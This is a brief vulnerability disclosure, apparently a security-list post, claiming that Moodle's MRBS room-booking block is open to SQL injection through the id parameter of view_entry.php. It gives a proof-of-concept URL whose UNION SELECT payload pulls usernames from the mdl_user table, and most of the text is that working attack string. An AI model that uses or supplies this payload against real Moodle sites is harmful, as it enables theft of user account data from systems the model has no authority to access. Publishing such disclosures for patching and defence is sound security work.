It appears that the latest revision of Moodle may be susceptible to SQL injection attacks.
2830c51b5f57aba32f29102bcb3ef49729e7caa9244f6e7d9549e88723a3be47
Moodle.org
PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=[SQL]&day=27&month=10&year=2007
And a POC:
PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=2000%20UNION%20SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_user%20WHERE%20id=[ID]&day=27&month=10&year=2007